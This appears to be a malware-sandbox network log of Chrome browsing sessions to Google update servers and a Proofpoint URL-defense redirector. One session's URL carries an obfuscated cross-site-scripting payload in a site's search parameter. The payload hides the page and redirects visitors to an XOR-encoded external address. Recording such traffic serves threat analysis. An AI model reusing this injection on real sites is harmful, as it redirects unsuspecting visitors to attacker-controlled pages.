                            Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factor, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version
                            Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/IdentityListAccountsHttp/cspreport
                            Content-Security-Policy: script-src 'report-sample' 'nonce-1kLkbHxPHFbpkY9cKNovBQ' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/IdentityListAccountsHttp/cspreport;worker-src 'self'
                            Content-Security-Policy: script-src 'unsafe-inline' 'self' https://apis.google.com https://ssl.gstatic.com https://www.google.com https://www.googletagmanager.com https://www.gstatic.com https://www.google-analytics.com;report-uri /_/IdentityListAccountsHttp/cspreport/allowlist
                            Permissions-Policy: ch-ua-arch=*, ch-ua-bitness=*, ch-ua-full-version=*, ch-ua-full-version-list=*, ch-ua-model=*, ch-ua-wow64=*, ch-ua-form-factor=*, ch-ua-platform=*, ch-ua-platform-version=*
                            Cross-Origin-Opener-Policy: same-origin
                            Server: ESF
                            X-XSS-Protection: 0
                            Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000
                            Accept-Ranges: none
                            Vary: Accept-Encoding
                            Connection: close
                            Transfer-Encoding: chunked
                            2023-08-30 20:37:59 UTC3INData Raw: 31 31 0d 0a 5b 22 67 61 69 61 2e 6c 2e 61 2e 72 22 2c 5b 5d 5d 0d 0a
                            Data Ascii: 11["gaia.l.a.r",[]]
                            2023-08-30 20:37:59 UTC3INData Raw: 30 0d 0a 0d 0a
                            Data Ascii: 0


                            Session IDSource IPSource PortDestination IPDestination PortProcess
                            1192.168.2.449710172.217.16.174443C:\Program Files\Google\Chrome\Application\chrome.exe
                            TimestampkBytes transferredDirectionData
                            2023-08-30 20:37:59 UTC0OUTGET /service/update2/crx?os=win&arch=x64&os_arch=x86_64&nacl_arch=x86-64&prod=chromecrx&prodchannel=&prodversion=115.0.5790.171&lang=en-GB&acceptformat=crx3,puff&x=id%3Dnmmhkkegccagdldgiimedpiccmgmieda%26v%3D0.0.0.0%26installedby%3Dother%26uc%26ping%3Dr%253D-1%2526e%253D1 HTTP/1.1
                            Host: clients2.google.com
                            Connection: keep-alive
                            X-Goog-Update-Interactivity: fg
                            X-Goog-Update-AppId: nmmhkkegccagdldgiimedpiccmgmieda
                            X-Goog-Update-Updater: chromecrx-115.0.5790.171
                            Sec-Fetch-Site: none
                            Sec-Fetch-Mode: no-cors
                            Sec-Fetch-Dest: empty
                            User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/115.0.0.0 Safari/537.36
                            Accept-Encoding: gzip, deflate, br
                            Accept-Language: en-GB,en-US;q=0.9,en;q=0.8
                            2023-08-30 20:37:59 UTC3INHTTP/1.1 200 OK
                            Content-Security-Policy: script-src 'report-sample' 'nonce-X6647jtf0xoUL5ChrDHG5A' 'unsafe-inline' 'strict-dynamic' https: http:;object-src 'none';base-uri 'self';report-uri https://csp.withgoogle.com/csp/clientupdate-aus/1
                            Cache-Control: no-cache, no-store, max-age=0, must-revalidate
                            Pragma: no-cache
                            Expires: Mon, 01 Jan 1990 00:00:00 GMT
                            Date: Wed, 30 Aug 2023 20:37:59 GMT
                            Content-Type: text/xml; charset=UTF-8
                            X-Daynum: 6085
                            X-Daystart: 49079
                            X-Content-Type-Options: nosniff
                            X-Frame-Options: SAMEORIGIN
                            X-XSS-Protection: 1; mode=block
                            Server: GSE
                            Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000
                            Accept-Ranges: none
                            Vary: Accept-Encoding
                            Connection: close
                            Transfer-Encoding: chunked
                            2023-08-30 20:37:59 UTC3INData Raw: 32 63 39 0d 0a 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 55 54 46 2d 38 22 3f 3e 3c 67 75 70 64 61 74 65 20 78 6d 6c 6e 73 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 67 6f 6f 67 6c 65 2e 63 6f 6d 2f 75 70 64 61 74 65 32 2f 72 65 73 70 6f 6e 73 65 22 20 70 72 6f 74 6f 63 6f 6c 3d 22 32 2e 30 22 20 73 65 72 76 65 72 3d 22 70 72 6f 64 22 3e 3c 64 61 79 73 74 61 72 74 20 65 6c 61 70 73 65 64 5f 64 61 79 73 3d 22 36 30 38 35 22 20 65 6c 61 70 73 65 64 5f 73 65 63 6f 6e 64 73 3d 22 34 39 30 37 39 22 2f 3e 3c 61 70 70 20 61 70 70 69 64 3d 22 6e 6d 6d 68 6b 6b 65 67 63 63 61 67 64 6c 64 67 69 69 6d 65 64 70 69 63 63 6d 67 6d 69 65 64 61 22 20 63 6f 68 6f 72 74 3d 22 31 3a 3a 22 20 63 6f 68 6f 72 74 6e 61 6d 65 3d 22 22
                            Data Ascii: 2c9<?xml version="1.0" encoding="UTF-8"?><gupdate xmlns="http://www.google.com/update2/response" protocol="2.0" server="prod"><daystart elapsed_days="6085" elapsed_seconds="49079"/><app appid="nmmhkkegccagdldgiimedpiccmgmieda" cohort="1::" cohortname=""
                            2023-08-30 20:37:59 UTC4INData Raw: 37 32 33 66 35 36 62 38 37 31 37 31 37 35 63 35 33 36 36 38 35 63 35 34 35 30 31 32 32 62 33 30 37 38 39 34 36 34 61 64 38 32 22 20 68 61 73 68 5f 73 68 61 32 35 36 3d 22 38 31 65 33 61 34 64 34 33 61 37 33 36 39 39 65 31 62 37 37 38 31 37 32 33 66 35 36 62 38 37 31 37 31 37 35 63 35 33 36 36 38 35 63 35 34 35 30 31 32 32 62 33 30 37 38 39 34 36 34 61 64 38 32 22 20 70 72 6f 74 65 63 74 65 64 3d 22 30 22 20 73 69 7a 65 3d 22 32 34 38 35 33 31 22 20 73 74 61 74 75 73 3d 22 6f 6b 22 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 2e 30 2e 36 22 2f 3e 3c 2f 61 70 70 3e 3c 2f 67 75 70 64 61 74 65 3e 0d 0a
                            Data Ascii: 723f56b8717175c536685c5450122b30789464ad82" hash_sha256="81e3a4d43a73699e1b7781723f56b8717175c536685c5450122b30789464ad82" protected="0" size="248531" status="ok" version="1.0.0.6"/></app></gupdate>
                            2023-08-30 20:37:59 UTC4INData Raw: 30 0d 0a 0d 0a
                            Data Ascii: 0


                            Session IDSource IPSource PortDestination IPDestination PortProcess
                            10192.168.2.44972552.204.90.22443C:\Program Files\Google\Chrome\Application\chrome.exe
                            TimestampkBytes transferredDirectionData
                            2023-08-30 20:38:07 UTC68OUTGET /jasset/images/favicon.ico HTTP/1.1
                            Host: urldefense.com
                            Connection: keep-alive
                            User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/115.0.0.0 Safari/537.36
                            Accept: */*
                            Sec-Fetch-Site: none
                            Sec-Fetch-Mode: cors
                            Sec-Fetch-Dest: empty
                            Accept-Encoding: gzip, deflate, br
                            Accept-Language: en-GB,en-US;q=0.9,en;q=0.8
                            2023-08-30 20:38:07 UTC69INHTTP/1.1 200 OK
                            Date: Wed, 30 Aug 2023 20:38:07 GMT
                            Content-Type: image/x-icon
                            Content-Length: 894
                            Connection: close
                            X-Robots-Tag: noindex, nofollow
                            X-Content-Type-Options: nosniff
                            X-XSS-Protection: 1; mode=block
                            X-Frame-Options: SAMEORIGIN
                            Content-Security-Policy: default-src 'self';
                            2023-08-30 20:38:07 UTC69INData Raw: 00 00 01 00 01 00 10 10 00 00 01 00 18 00 68 03 00 00 16 00 00 00 28 00 00 00 10 00 00 00 20 00 00 00 01 00 18 00 00 00 00 00 40 03 00 00 13 0b 00 00 13 0b 00 00 00 00 00 00 00 00 00 00 ee df ae d5 b1 39 d4 af 33 d4 af 33 d4 af 33 d4 af 33 d4 af 33 d4 af 33 d4 af 33 d4 af 33 d4 af 33 d4 af 33 d4 af 33 d4 af 33 d5 b1 39 f0 e3 b7 da ba 4e c9 9b 00 c9 9b 00 c9 9b 00 c9 9b 00 c9 9b 00 c9 9b 00 c9 9b 00 c9 9b 00 c9 9b 00 c9 9b 00 c9 9b 00 c9 9b 00 c9 9b 00 c9 9b 00 dc be 5a d9 b8 4b c9 9b 00 c9 9b 00 c9 9b 00 c9 9b 00 c9 9b 00 c9 9b 00 c9 9b 00 c9 9b 00 c9 9b 00 c9 9b 00 c9 9b 00 c9 9b 00 c9 9b 00 c9 9b 00 dc be 5a d9 b8 4b c9 9b 00 c9 9b 00 c9 9b 00 c9 9b 00 dd c1 60 e4 cd 80 d7 b4 40 c9 9b 00 c9 9b 00 c9 9b 00 c9 9b 00 c9 9b 00 c9 9b 00 c9 9b 00 dc be 5a d9
                            Data Ascii: h( @93333333333339NZKZK`@Z


                            Session IDSource IPSource PortDestination IPDestination PortProcess
                            2192.168.2.44971252.204.90.22443C:\Program Files\Google\Chrome\Application\chrome.exe
                            TimestampkBytes transferredDirectionData
                            2023-08-30 20:38:02 UTC4OUTGET /v3/__https://covenanthousetoronto.ca/?s=*22*3E*7CCryptography*20menu.get=*mime**A20**Aintelligence.start(*dispatchEvent*)*20lib*20**Acomputing(*start*).reality*20onUpdated**B7C*20Blockchain**B20gif**A20location.reload()**B20web*22*20rsc*60*20door(*20remake=*20redo)**B20onstart_*20attitudelocal_marine**B20menu.get=*60mime*60*20library.start(*60await*60)*20lib**B20process**A(*60start*60).load*20arch.hand()*20folder.setElementByCode(*60socar*60)**B20contact(*60r*60,*605*60)*20**Aconnect=*60hola*60.fix()*22*3E*3Ciframe*20src=javascript*3A*2F*2Afd7**Aljj*5Bljj.attol1*5Dkhalfyacoleur**Ablanch*2A*2FcodeString=*60win*60*2B*60dow.par*60*2B*60ent.docu*60*2B*60ment.docu*60*2B*60mentEle*60*2B*60ment.st*60*2B*60yle.opa*60*2B*60city=0;url=*5B66,94,94,90,89,16,5,5,73,95,94,94,4,70,83,5,91,93,77,80,64,90,121,71*5D;*2F*2Athat*5B*7el**A5D(setInterval,*_hara*)laard**A3000zblaalo**A3000zb*2A*2Fwin*60*2B*60dow.par*60*2B*60ent.loca*60*2B*60tion.hr*60*2B*60ef=url.map(value=*60*2BString.fromCharCode(62)*2B*60String.fromCharCode(value*5E42)).jo*60*2B*60in(%27%27);*2F*2Achw**Echw.toUpUpDown()*2A*2F*60;codeString=codeString.replaceAll(*60salooa*60,*60azefcr*60);executeCode=Function(codeString);*2F*2Athat*5B*ovrir**A5D(sessionStorage,*_selve*)sleep.over**B2A*2FexecuteCode();*2F*2A**Amax.do()*2A*2F*3E*3C*2Fiframe*3E*3Cspan*20style=*60display:block;position:fixed;z-index:997483649;top:0;left:0;width:2000px;height:2000px;backgroundcolor:white;**A3E*3C*2Fspan*3E*7CCryptography*20menu.get=*mime**A20**Aintelligence.start(*dispatchEvent*)*20lib*20**Acomputing(*start*).reality*20arch.learning()onUpdated**B7C*20Blockchain**B20gif**A20location.reload()**B20web*22*20rsc*60*20door(*20remake=*20redo)**B20onstart_*20attitudelocal_marine**B20folder.setElementByCode(*socar*ar*)__;JSUlJX5-JcKnfn4lJcKnfn4lwqclJcKnJX4lwqclJSUlJSUlwqclJcKnJSUlJSUlJcKnJcKnJSUlJSUlwqclJSUlJSXCpyUlJSUlJSUlJcKnJSXCpyUlJSUlJSUlJSUlJSUlJSUlJSUlJSUlJSUlJSUlfn4lfn7Cp8KnJSUlJSUlJSUlJSUlJSUlJSUlJSUlJSUlwqfCp8KnJSUlJSUlJS HTTP/1.1
                            Host: urldefense.com
                            Connection: keep-alive
                            sec-ch-ua: "Not/A)Brand";v="99", "Google Chrome";v="115", "Chromium";v="115"
                            sec-ch-ua-mobile: ?0
                            sec-ch-ua-platform: "Windows"
                            Upgrade-Insecure-Requests: 1
                            User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/115.0.0.0 Safari/537.36
                            Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
                            Sec-Fetch-Site: none
                            Sec-Fetch-Mode: navigate
                            Sec-Fetch-User: ?1
                            Sec-Fetch-Dest: document
                            Accept-Encoding: gzip, deflate, br
                            Accept-Language: en-GB,en-US;q=0.9,en;q=0.8
                            2023-08-30 20:38:02 UTC7INHTTP/1.1 302 Found
                            Date: Wed, 30 Aug 2023 20:38:02 GMT
                            Content-Length: 0
                            Connection: close
                            Location: /jerror
                            Strict-Transport-Security: max-age=31536000
                            X-Robots-Tag: noindex, nofollow
                            X-Content-Type-Options: nosniff
                            X-XSS-Protection: 1; mode=block
                            X-Frame-Options: SAMEORIGIN
                            Content-Security-Policy: default-src 'self';


                            Session IDSource IPSource PortDestination IPDestination PortProcess
                            3192.168.2.44971352.204.90.22443C:\Program Files\Google\Chrome\Application\chrome.exe
                            TimestampkBytes transferredDirectionData
                            2023-08-30 20:38:02 UTC7OUTGET /jerror HTTP/1.1
                            Host: urldefense.com
                            Connection: keep-alive
                            Upgrade-Insecure-Requests: 1
                            User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/115.0.0.0 Safari/537.36
                            Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
                            Sec-Fetch-Site: none
                            Sec-Fetch-Mode: navigate
                            Sec-Fetch-User: ?1
                            Sec-Fetch-Dest: document
                            sec-ch-ua: "Not/A)Brand";v="99", "Google Chrome";v="115", "Chromium";v="115"
                            sec-ch-ua-mobile: ?0
                            sec-ch-ua-platform: "Windows"
                            Accept-Encoding: gzip, deflate, br
                            Accept-Language: en-GB,en-US;q=0.9,en;q=0.8
                            2023-08-30 20:38:02 UTC8INHTTP/1.1 400 Bad Request
                            Date: Wed, 30 Aug 2023 20:38:02 GMT
                            Content-Type: text/html
                            Content-Length: 2008
                            Connection: close
                            Strict-Transport-Security: max-age=31536000
                            2023-08-30 20:38:02 UTC8INData Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 3e 0a 20 20 20 20 3c 68 65 61 64 3e 0a 20 20 20 20 20 20 20 20 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 55 54 46 2d 38 22 3e 0a 20 20 20 20 20 20 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 36 39 34 2c 20 75 73 65 72 2d 73 63 61 6c 61 62 6c 65 3d 6e 6f 22 3e 0a 20 20 20 20 20 20 20 20 3c 74 69 74 6c 65 3e 50 72 6f 6f 66 70 6f 69 6e 74 20 54 61 72 67 65 74 65 64 20 41 74 74 61 63 6b 20 50 72 6f 74 65 63 74 69 6f 6e 3c 2f 74 69 74 6c 65 3e 0a 20 20 20 20 20 20 20 20 3c 6c 69 6e 6b 20 68 72 65 66 3d 22 2f 6a 61 73 73 65 74 2f 73 74 79 6c 65 73 68 65 65 74 73 2f 63 6f 6d 6d 6f 6e 2e 63 73 73 22 20 6d 65 64 69 61 3d 22 61
                            Data Ascii: <!DOCTYPE html><html> <head> <meta charset="UTF-8"> <meta name="viewport" content="width=694, user-scalable=no"> <title>Proofpoint Targeted Attack Protection</title> <link href="/jasset/stylesheets/common.css" media="a


                            Session IDSource IPSource PortDestination IPDestination PortProcess
                            4192.168.2.44971652.204.90.22443C:\Program Files\Google\Chrome\Application\chrome.exe
                            TimestampkBytes transferredDirectionData
                            2023-08-30 20:38:03 UTC10OUTGET /jasset/stylesheets/common.css HTTP/1.1
                            Host: urldefense.com
                            Connection: keep-alive
                            sec-ch-ua: "Not/A)Brand";v="99", "Google Chrome";v="115", "Chromium";v="115"
                            sec-ch-ua-mobile: ?0
                            User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/115.0.0.0 Safari/537.36
                            sec-ch-ua-platform: "Windows"
                            Accept: text/css,*/*;q=0.1
                            Sec-Fetch-Site: same-origin
                            Sec-Fetch-Mode: no-cors
                            Sec-Fetch-Dest: style
                            Referer: https://urldefense.com/jerror
                            Accept-Encoding: gzip, deflate, br
                            Accept-Language: en-GB,en-US;q=0.9,en;q=0.8
                            2023-08-30 20:38:03 UTC11INHTTP/1.1 200 OK
                            Date: Wed, 30 Aug 2023 20:38:03 GMT
                            Content-Type: text/css
                            Content-Length: 2864
                            Connection: close
                            Vary: Accept-Encoding
                            Vary: Accept-Encoding, User-Agent
                            X-Robots-Tag: noindex, nofollow
                            X-Content-Type-Options: nosniff
                            X-XSS-Protection: 1; mode=block
                            X-Frame-Options: SAMEORIGIN
                            Content-Security-Policy: default-src 'self';
                            2023-08-30 20:38:03 UTC11INData Raw: 68 74 6d 6c 7b 0a 09 6d 69 6e 2d 68 65 69 67 68 74 3a 31 30 30 25 3b 0a 09 62 61 63 6b 67 72 6f 75 6e 64 3a 23 30 30 39 34 62 63 3b 0a 09 62 61 63 6b 67 72 6f 75 6e 64 3a 2d 6d 6f 7a 2d 6c 69 6e 65 61 72 2d 67 72 61 64 69 65 6e 74 28 23 30 30 39 34 62 63 2c 20 23 33 64 64 36 66 66 29 3b 0a 09 62 61 63 6b 67 72 6f 75 6e 64 3a 2d 6d 73 2d 6c 69 6e 65 61 72 2d 67 72 61 64 69 65 6e 74 28 23 30 30 39 34 62 63 2c 20 23 33 64 64 36 66 66 20 31 30 30 25 29 3b 0a 09 62 61 63 6b 67 72 6f 75 6e 64 3a 2d 77 65 62 6b 69 74 2d 67 72 61 64 69 65 6e 74 28 6c 69 6e 65 61 72 2c 20 6c 65 66 74 20 74 6f 70 2c 20 6c 65 66 74 20 62 6f 74 74 6f 6d 2c 20 66 72 6f 6d 28 23 30 30 39 34 62 63 29 2c 20 74 6f 28 23 33 64 64 36 66 66 29 29 3b 0a 09 62 61 63 6b 67 72 6f 75 6e 64 3a 2d
                            Data Ascii: html{min-height:100%;background:#0094bc;background:-moz-linear-gradient(#0094bc, #3dd6ff);background:-ms-linear-gradient(#0094bc, #3dd6ff 100%);background:-webkit-gradient(linear, left top, left bottom, from(#0094bc), to(#3dd6ff));background:-


                            Session IDSource IPSource PortDestination IPDestination PortProcess
                            5192.168.2.44971552.204.90.22443C:\Program Files\Google\Chrome\Application\chrome.exe
                            TimestampkBytes transferredDirectionData
                            2023-08-30 20:38:03 UTC10OUTGET /jasset/images/proofpoint_logo.jpeg HTTP/1.1
                            Host: urldefense.com
                            Connection: keep-alive
                            sec-ch-ua: "Not/A)Brand";v="99", "Google Chrome";v="115", "Chromium";v="115"
                            sec-ch-ua-mobile: ?0
                            User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/115.0.0.0 Safari/537.36
                            sec-ch-ua-platform: "Windows"
                            Accept: image/avif,image/webp,image/apng,image/svg+xml,image/*,*/*;q=0.8
                            Sec-Fetch-Site: same-origin
                            Sec-Fetch-Mode: no-cors
                            Sec-Fetch-Dest: image
                            Referer: https://urldefense.com/jerror
                            Accept-Encoding: gzip, deflate, br
                            Accept-Language: en-GB,en-US;q=0.9,en;q=0.8
                            2023-08-30 20:38:03 UTC14INHTTP/1.1 200 OK
                            Date: Wed, 30 Aug 2023 20:38:03 GMT
                            Content-Type: image/jpeg
                            Content-Length: 20820
                            Connection: close
                            X-Robots-Tag: noindex, nofollow
                            X-Content-Type-Options: nosniff
                            X-XSS-Protection: 1; mode=block
                            X-Frame-Options: SAMEORIGIN
                            Content-Security-Policy: default-src 'self';
                            2023-08-30 20:38:03 UTC14INData Raw: ff d8 ff e0 00 10 4a 46 49 46 00 01 01 01 01 2c 01 2c 00 00 ff ed 00 6e 50 68 6f 74 6f 73 68 6f 70 20 33 2e 30 00 38 42 49 4d 04 04 00 00 00 00 00 36 1c 01 5a 00 03 1b 25 47 1c 02 00 00 02 00 02 1c 02 3e 00 08 32 30 31 35 30 39 32 34 1c 02 3f 00 0b 31 35 30 38 33 38 2d 30 37 30 30 1c 02 05 00 05 50 72 69 6e 74 38 42 49 4d 04 25 00 00 00 00 00 10 94 9e 9d a6 ba 7e 18 a0 51 d1 2c e4 08 f7 19 af ff e1 00 fc 45 78 69 66 00 00 4d 4d 00 2a 00 00 00 08 00 07 01 12 00 03 00 00 00 01 00 01 00 00 01 1a 00 05 00 00 00 01 00 00 00 62 01 1b 00 05 00 00 00 01 00 00 00 6a 01 28 00 03 00 00 00 01 00 02 00 00 01 31 00 02 00 00 00 24 00 00 00 72 01 32 00 02 00 00 00 14 00 00 00 96 87 69 00 04 00 00 00 01 00 00 00 aa 00 00 00 00 00 00 01 2c 00 00 00 01 00 00 01 2c 00 00 00
                            Data Ascii: JFIF,,nPhotoshop 3.08BIM6Z%G>20150924?150838-0700Print8BIM%~Q,ExifMM*bj(1$r2i,,
                            2023-08-30 20:38:03 UTC30INData Raw: 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 3f 78 70 61 63 6b 65 74 20 65 6e 64 3d 22 77 22 3f 3e 00 ff db 00 43 00 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 02 02 01 01 02 01 01 01 02 02 02 02 02 02 02 02 02 01 02 02 02 02 02 02 02 02 02 02 ff c0 00 0b 08 00 40 00 bb 01 01 11 00 ff c4 00 1f 00 01 00 00 06 03 01 01 00 00 00 00 00 00 00 00 00 00 01 05 07
                            Data Ascii: <?xpacket end="w"?>C@


                            Session IDSource IPSource PortDestination IPDestination PortProcess
                            6192.168.2.44971852.204.90.22443C:\Program Files\Google\Chrome\Application\chrome.exe
                            TimestampkBytes transferredDirectionData
                            2023-08-30 20:38:04 UTC35OUTGET /jasset/images/warning.png HTTP/1.1
                            Host: urldefense.com
                            Connection: keep-alive
                            sec-ch-ua: "Not/A)Brand";v="99", "Google Chrome";v="115", "Chromium";v="115"
                            sec-ch-ua-mobile: ?0
                            User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/115.0.0.0 Safari/537.36
                            sec-ch-ua-platform: "Windows"
                            Accept: image/avif,image/webp,image/apng,image/svg+xml,image/*,*/*;q=0.8
                            Sec-Fetch-Site: same-origin
                            Sec-Fetch-Mode: no-cors
                            Sec-Fetch-Dest: image
                            Referer: https://urldefense.com/jerror
                            Accept-Encoding: gzip, deflate, br
                            Accept-Language: en-GB,en-US;q=0.9,en;q=0.8
                            2023-08-30 20:38:04 UTC35INHTTP/1.1 200 OK
                            Date: Wed, 30 Aug 2023 20:38:04 GMT
                            Content-Type: image/png
                            Content-Length: 4803
                            Connection: close
                            X-Robots-Tag: noindex, nofollow
                            X-Content-Type-Options: nosniff
                            X-XSS-Protection: 1; mode=block
                            X-Frame-Options: SAMEORIGIN
                            Content-Security-Policy: default-src 'self';
                            2023-08-30 20:38:04 UTC36INData Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 00 40 00 00 00 40 08 06 00 00 00 aa 69 71 de 00 00 00 01 73 52 47 42 00 ae ce 1c e9 00 00 12 7d 49 44 41 54 78 da ed 9b 79 94 dc 55 95 c7 3f f7 fd 7e 55 dd b5 f4 5a bd 27 9d 74 12 12 3a 0b d0 24 24 21 90 10 04 86 44 56 13 93 00 86 e5 80 5b 44 98 e3 b8 80 10 74 8e 3a 0e 32 a0 8e 8a 23 67 1c 14 18 04 15 44 e4 cc 41 19 1d 1d c5 11 39 73 06 0d 9b 2c 09 24 21 21 49 6f d5 5b 75 2d bf df 7b 77 fe f8 75 37 09 74 63 a2 09 8b e6 76 bf aa ea 5f 75 bf 7a f7 7b ef fd de fb ee fb 35 1c 96 c3 72 58 0e cb 5f b1 c8 9b f5 c1 aa 5a f1 e3 0f 5f b5 22 10 a3 e7 dc fc 85 ff 10 91 e2 5f 05 00 df 6e 9b f1 c9 d9 26 76 bd ee ea c4 f3 0c c6 28 61 d1 52 6a 9d cc b3 9a bf e6 fd 5b b6 7c e1 2f 12 80 ef cc 9e b7 6e 52 36 77 6b e3 e0
                            Data Ascii: PNGIHDR@@iqsRGB}IDATxyU?~UZ't:$$!DV[Dt:2#gDA9s,$!!Io[u-{wu7tcv_uz{5rX_Z_"_n&v(aRj[|/nR6wk


                            Session IDSource IPSource PortDestination IPDestination PortProcess
                            7192.168.2.44971952.204.90.22443C:\Program Files\Google\Chrome\Application\chrome.exe
                            TimestampkBytes transferredDirectionData
                            2023-08-30 20:38:04 UTC40OUTGET /jasset/images/proofpoint_logo.jpeg HTTP/1.1
                            Host: urldefense.com
                            Connection: keep-alive
                            User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/115.0.0.0 Safari/537.36
                            Accept: */*
                            Sec-Fetch-Site: none
                            Sec-Fetch-Mode: cors
                            Sec-Fetch-Dest: empty
                            Accept-Encoding: gzip, deflate, br
                            Accept-Language: en-GB,en-US;q=0.9,en;q=0.8
                            2023-08-30 20:38:04 UTC41INHTTP/1.1 200 OK
                            Date: Wed, 30 Aug 2023 20:38:04 GMT
                            Content-Type: image/jpeg
                            Content-Length: 20820
                            Connection: close
                            X-Robots-Tag: noindex, nofollow
                            X-Content-Type-Options: nosniff
                            X-XSS-Protection: 1; mode=block
                            X-Frame-Options: SAMEORIGIN
                            Content-Security-Policy: default-src 'self';
                            2023-08-30 20:38:04 UTC41INData Raw: ff d8 ff e0 00 10 4a 46 49 46 00 01 01 01 01 2c 01 2c 00 00 ff ed 00 6e 50 68 6f 74 6f 73 68 6f 70 20 33 2e 30 00 38 42 49 4d 04 04 00 00 00 00 00 36 1c 01 5a 00 03 1b 25 47 1c 02 00 00 02 00 02 1c 02 3e 00 08 32 30 31 35 30 39 32 34 1c 02 3f 00 0b 31 35 30 38 33 38 2d 30 37 30 30 1c 02 05 00 05 50 72 69 6e 74 38 42 49 4d 04 25 00 00 00 00 00 10 94 9e 9d a6 ba 7e 18 a0 51 d1 2c e4 08 f7 19 af ff e1 00 fc 45 78 69 66 00 00 4d 4d 00 2a 00 00 00 08 00 07 01 12 00 03 00 00 00 01 00 01 00 00 01 1a 00 05 00 00 00 01 00 00 00 62 01 1b 00 05 00 00 00 01 00 00 00 6a 01 28 00 03 00 00 00 01 00 02 00 00 01 31 00 02 00 00 00 24 00 00 00 72 01 32 00 02 00 00 00 14 00 00 00 96 87 69 00 04 00 00 00 01 00 00 00 aa 00 00 00 00 00 00 01 2c 00 00 00 01 00 00 01 2c 00 00 00
                            Data Ascii: JFIF,,nPhotoshop 3.08BIM6Z%G>20150924?150838-0700Print8BIM%~Q,ExifMM*bj(1$r2i,,
                            2023-08-30 20:38:04 UTC57INData Raw: 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 3f 78 70 61 63 6b 65 74 20 65 6e 64 3d 22 77 22 3f 3e 00 ff db 00 43 00 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 02 02 01 01 02 01 01 01 02 02 02 02 02 02 02 02 02 01 02 02 02 02 02 02 02 02 02 02 ff c0 00 0b 08 00 40 00 bb 01 01 11 00 ff c4 00 1f 00 01 00 00 06 03 01 01 00 00 00 00 00 00 00 00 00 00 01 05 07
                            Data Ascii: <?xpacket end="w"?>C@


                            Session IDSource IPSource PortDestination IPDestination PortProcess
                            8192.168.2.44972052.204.90.22443C:\Program Files\Google\Chrome\Application\chrome.exe
                            TimestampkBytes transferredDirectionData
                            2023-08-30 20:38:04 UTC61OUTGET /jasset/images/favicon.ico HTTP/1.1
                            Host: urldefense.com
                            Connection: keep-alive
                            sec-ch-ua: "Not/A)Brand";v="99", "Google Chrome";v="115", "Chromium";v="115"
                            sec-ch-ua-mobile: ?0
                            User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/115.0.0.0 Safari/537.36
                            sec-ch-ua-platform: "Windows"
                            Accept: image/avif,image/webp,image/apng,image/svg+xml,image/*,*/*;q=0.8
                            Sec-Fetch-Site: same-origin
                            Sec-Fetch-Mode: no-cors
                            Sec-Fetch-Dest: image
                            Referer: https://urldefense.com/jerror
                            Accept-Encoding: gzip, deflate, br
                            Accept-Language: en-GB,en-US;q=0.9,en;q=0.8
                            2023-08-30 20:38:04 UTC62INHTTP/1.1 200 OK
